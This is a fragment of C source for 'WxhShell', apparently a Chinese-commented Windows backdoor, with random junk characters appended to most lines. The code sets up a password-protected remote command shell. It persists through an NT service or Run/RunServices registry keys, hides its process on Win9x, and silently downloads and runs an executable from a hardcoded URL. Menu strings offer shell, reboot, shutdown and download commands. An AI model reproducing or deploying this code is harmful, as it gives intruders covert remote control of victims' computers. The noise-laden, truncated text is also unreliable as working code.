ULONG UniqueProcessId; Rh>B#
\
ULONG InheritedFromUniqueProcessId; $7x2TiAL
} PROCESS_BASIC_INFORMATION; s8h*nZ)v
+QChD*
PROCNTQSIP NtQueryInformationProcess; #:K=zV\
F/5&:e?( )
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :eN&wQ5q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YQMWhC,8hy
c*bvZC^6
HANDLE hProcess; je] DR~
PROCESS_BASIC_INFORMATION pbi; '&IGdB I
I"Oq< _
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oPe|Gfv\G
if(NULL == hInst ) return 0; X/5m}-6d]
`#""JTA"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i]8O?Ab>?
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zakhJ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2W AeSUX
?qh-#,O9B
if (!NtQueryInformationProcess) return 0; "{q#)N
#{i*9'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); waMF~#PJlt
if(!hProcess) return 0; }7 N6nZj`
= Xgo}g1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &:&'70Ya
*z0!=>(
CloseHandle(hProcess);
a_?sJ
i|:!I)(lh
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -|>~I#vY
if(hProcess==NULL) return 0; G m~ ./-
`DM%a~^yg
HMODULE hMod; sf*4|P}
char procName[255]; LrU8!r`a
unsigned long cbNeeded; ;!n>
L\Se ,
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Dqy`7?Kn
(0-Ol9[
CloseHandle(hProcess); \}Q=q$)
ORM>|&
if(strstr(procName,"services")) return 1; // 以服务启动 YWZ;@,W
@G5T8qwN
return 0; // 注册表启动 VjQ&A#
} H 0l1=y
gV_v5sk
// 主模块 q*I*B1p[m
int StartWxhshell(LPSTR lpCmdLine) UU=]lWib
{ 0eY!Z._^
SOCKET wsl; L2H
BOOL val=TRUE; qO6M5g:
int port=0; wgl <JO
struct sockaddr_in door; )Sn0Y B
$xO8?
if(wscfg.ws_autoins) Install(); m:@y_:X0
IJ^~,+
port=atoi(lpCmdLine); 'a#lBzu\b
5`h$^l/
if(port<=0) port=wscfg.ws_port; p2vN=[g9)
J%"BCbxW~B
WSADATA data; 0|&@)`
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @MSmg3&
C- .;m
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F#Lo^ 8
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); br I;}m
door.sin_family = AF_INET; rA~f68h|
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z?)g'n
door.sin_port = htons(port); BJ|l
fU>l:BzJK
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6bm 7^e(
closesocket(wsl); ,#Z%0NLe
return 1; [LoQYDku
} |UTajEL
o1AbB?%=
if(listen(wsl,2) == INVALID_SOCKET) { l=DF)#>w
closesocket(wsl); *,\v|]fc
return 1; IO)B3,g
} 9q'9i9/3d
Wxhshell(wsl); 10SI&O
WSACleanup(); ?I+L
8dE0y P
return 0; ^exU]5nvz
us.#|~i<h
} C4+DZ<pE
gN/<g8
// 以NT服务方式启动 z,,"yVk`,
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >|taU8^|G}
{ JFT$1^n
DWORD status = 0; z; GQnAG@
DWORD specificError = 0xfffffff; wGyVmC
__=53]jGE
serviceStatus.dwServiceType = SERVICE_WIN32; RpJ7.
serviceStatus.dwCurrentState = SERVICE_START_PENDING; !se1W5ke#
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ucN'
zq
serviceStatus.dwWin32ExitCode = 0; '=dQ$fs
serviceStatus.dwServiceSpecificExitCode = 0; Oeh A3$|#
serviceStatus.dwCheckPoint = 0; 7FC!^)x1
serviceStatus.dwWaitHint = 0; ,Lig6Z`
ddQ+EY@!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wJC[[_"3 I
if (hServiceStatusHandle==0) return; >@vu;j\*E5
$DHE%IN`
status = GetLastError(); Sn nfU
if (status!=NO_ERROR) _3Eo{^
{ gFR}WBl/
serviceStatus.dwCurrentState = SERVICE_STOPPED; )re<NE&M
serviceStatus.dwCheckPoint = 0; f,G*e367:
serviceStatus.dwWaitHint = 0; `~XksyT
serviceStatus.dwWin32ExitCode = status; ~F"S]
serviceStatus.dwServiceSpecificExitCode = specificError; j
iKHx_9P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); o/Ismg-p
return; 'z|Da &d P
} UoxlEec
g5y+F]'I
serviceStatus.dwCurrentState = SERVICE_RUNNING; Z^kE]Ir#EV
serviceStatus.dwCheckPoint = 0; A8-[EBkK
serviceStatus.dwWaitHint = 0; 8~Kq"wrbu
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ci`o;KVj
} DNGyEC
O#)1zD}
// 处理NT服务事件,比如:启动、停止 ,L& yKS@
VOID WINAPI NTServiceHandler(DWORD fdwControl) KA2>[x2
{ 8pnD6Lp>
switch(fdwControl) *w0!C:mL&
{ Skr(C5T
case SERVICE_CONTROL_STOP: r#zcl)rbU
serviceStatus.dwWin32ExitCode = 0; wAHuPQ&_Q
serviceStatus.dwCurrentState = SERVICE_STOPPED; nM[yBA
serviceStatus.dwCheckPoint = 0; I=!kPuw
serviceStatus.dwWaitHint = 0; @2E52$zu
{ )Cy>'l*Og7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hF'VqJS
} u@Hz7Q}
P
return; 5}%R
case SERVICE_CONTROL_PAUSE: #)'Iqaq7
serviceStatus.dwCurrentState = SERVICE_PAUSED; )LGVR3#
break; . 1kB8&}
case SERVICE_CONTROL_CONTINUE: OBWb0t5H?
serviceStatus.dwCurrentState = SERVICE_RUNNING; D!.c??
break; Y(UK:LZ'
case SERVICE_CONTROL_INTERROGATE: ,`f]mv l
break; in>+D|q
c
}; v0C+DKi
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |]G%b[
} <|r|s
}u8(7
// 标准应用程序主函数 uWJJ\
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [/a
AH<9b
{ Sr
\y1nt
;"M6}5dQ4
// 获取操作系统版本 ~vXbh(MX
OsIsNt=GetOsVer(); 8dR `T}
GetModuleFileName(NULL,ExeFile,MAX_PATH); toGiG|L
w[X-Q+7p(t
// 从命令行安装 }u;K<<h:
if(strpbrk(lpCmdLine,"iI")) Install(); x,C8):\t`B
LK} g<!o(
// 下载执行文件 2E1`r@L
if(wscfg.ws_downexe) { f2e;N[D
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D$>!vD'
WinExec(wscfg.ws_filenam,SW_HIDE); t=B1yvE"
} |%|03}Q
^6 wWv&G[8
if(!OsIsNt) { sU>IETo
// 如果时win9x,隐藏进程并且设置为注册表启动 P*KIk~J
HideProc(); ,sitO y}ks
StartWxhshell(lpCmdLine); o< @![P
} rd7p$e=i
else 4EM+ Ye
if(StartFromService()) xt}.0dC!/%
// 以服务方式启动 O}i+1
StartServiceCtrlDispatcher(DispatchTable); _eGYwBm
else Jg$<2CR&
// 普通方式启动 LDQ,SS,
StartWxhshell(lpCmdLine); V/#Ra
'8]p]#l
return 0; a,w|r#x]
} 0`"oR3JY
;t0q
?9
NVRzthg%c_
T +vo)9w
=========================================== K 4GuOl
o8X_uKEI
ht>%O7
GST#b6S
@_kF&~
x3i}IC
" uXc;!*
]In7%Qb
#include <stdio.h> {wC*61@1
#include <string.h> opH!sa@U
#include <windows.h> 3RaW\cWzg
#include <winsock2.h> _^W;J/He
#include <winsvc.h> ;qaPK2a8
#include <urlmon.h> :(]fC~G~
P!]uJ8bi
#pragma comment (lib, "Ws2_32.lib") ,]EhDW6
#pragma comment (lib, "urlmon.lib") F` 7v
g
`s|]VNt
#define MAX_USER 100 // 最大客户端连接数 0h A: =r
#define BUF_SOCK 200 // sock buffer =.z;:0]'n
#define KEY_BUFF 255 // 输入 buffer Wxj_DTi[1"
bL
xZ5C7t
#define REBOOT 0 // 重启 aVu!Qk=Z/
#define SHUTDOWN 1 // 关机 "}v.>L<P
5QiQDQT}5
#define DEF_PORT 5000 // 监听端口 !'H$08Ql}
hdDT'+
#define REG_LEN 16 // 注册表键长度 '4uu@?!dVk
#define SVC_LEN 80 // NT服务名长度 i2Wvu3,D3-
b*Y Wd3
// 从dll定义API @Fc:9a@
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); US$$ADq
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @dv8 F
"v
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?JZ$M
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >eA@s}_8
Wh i#Ii~
// wxhshell配置信息 ]mMJ6n
struct WSCFG { 42]7N3:'
int ws_port; // 监听端口 #_.JkY
char ws_passstr[REG_LEN]; // 口令 |'z8>1
int ws_autoins; // 安装标记, 1=yes 0=no SAdT#0J
char ws_regname[REG_LEN]; // 注册表键名 2
`>a(
char ws_svcname[REG_LEN]; // 服务名 cCZp6^/<x
char ws_svcdisp[SVC_LEN]; // 服务显示名 y7hDMQ c'
char ws_svcdesc[SVC_LEN]; // 服务描述信息 >$'z4TC\T
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d%|l)JF*5
int ws_downexe; // 下载执行标记, 1=yes 0=no v82wnP-~7
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =sk[I0W
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~1+6gG
:\|A.#
U
}; GqHW.s5
5hmfdj6
// default Wxhshell configuration \'Ae,q|w
struct WSCFG wscfg={DEF_PORT, *,JE[M
"xuhuanlingzhe", @e<(o
UE
1, k4iiL<|
"Wxhshell", yU!1q}L!
"Wxhshell", G$f%]A1
"WxhShell Service", I4"p]>Y"
"Wrsky Windows CmdShell Service", qS\#MMsTd
"Please Input Your Password: ", <kFLwF?PM'
1, [eD0L71[
"http://www.wrsky.com/wxhshell.exe", [XY%<P3D
"Wxhshell.exe" J-
S.m(
}; ;(?tlFc
Dsm1@/"i|7
// 消息定义模块 s21}
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char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 67iI wY*8'
char *msg_ws_prompt="\n\r? for help\n\r#>"; !Q[v"6?
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y2I7Zd .
char *msg_ws_ext="\n\rExit."; GS>[A b+
char *msg_ws_end="\n\rQuit."; ]^C 8Oh<
char *msg_ws_boot="\n\rReboot..."; 1_TuA(
char *msg_ws_poff="\n\rShutdown..."; qf(mJlU
char *msg_ws_down="\n\rSave to "; Ef#LRcG-Z
d[_26.
char *msg_ws_err="\n\rErr!"; *U^Y@""a
char *msg_ws_ok="\n\rOK!"; j4owo#OB-
,*iA38d.!
char ExeFile[MAX_PATH]; bqE'9GI
int nUser = 0; D[yyFo,z
HANDLE handles[MAX_USER]; ]$ "eGHX
int OsIsNt; 8NHm#Z3Ol
^+76^*0
SERVICE_STATUS serviceStatus; e>z"{ u(F0
SERVICE_STATUS_HANDLE hServiceStatusHandle; :rL%,o"
l?*DGW(t{
// 函数声明 Zkd{EMW
int Install(void); \o!3TK"N
int Uninstall(void); #`u}#(
int DownloadFile(char *sURL, SOCKET wsh); gko=5|c,@
int Boot(int flag); $!_
X9)e
void HideProc(void); J.yM@wPS>
int GetOsVer(void); 4SI~y;c)
int Wxhshell(SOCKET wsl); #r9+thyC
void TalkWithClient(void *cs); V#oz~GMB
int CmdShell(SOCKET sock); x{:U$[_
int StartFromService(void); wGti|7Tu*
int StartWxhshell(LPSTR lpCmdLine); vntJe^IaFd
&DMC\R* j
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S=k!8]/d|
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y$L`
G
+fk*c[FG
// 数据结构和表定义 7z$Z=cs
SERVICE_TABLE_ENTRY DispatchTable[] = ]u5TvI,C
{ Hi09?AX
{wscfg.ws_svcname, NTServiceMain}, QH-CZ6M
{NULL, NULL} eJo" Z
}; {<ShUN
Rv&"h_"t
// 自我安装 6X@z(EEL
int Install(void) 'u<e<hU
{ bX$z)]KKu
char svExeFile[MAX_PATH]; U"7o;q
HKEY key; X_2N9$},
strcpy(svExeFile,ExeFile); )P(S:x'b0
K(?V]Mxl6
// 如果是win9x系统,修改注册表设为自启动 Q("m*eMRt
if(!OsIsNt) { uU 7 <8G
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WPRk>j
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;JkIZ8!
RegCloseKey(key); h*VDd3[#
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P7-k!p"
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BsFO]F5mmX
RegCloseKey(key); 9:{<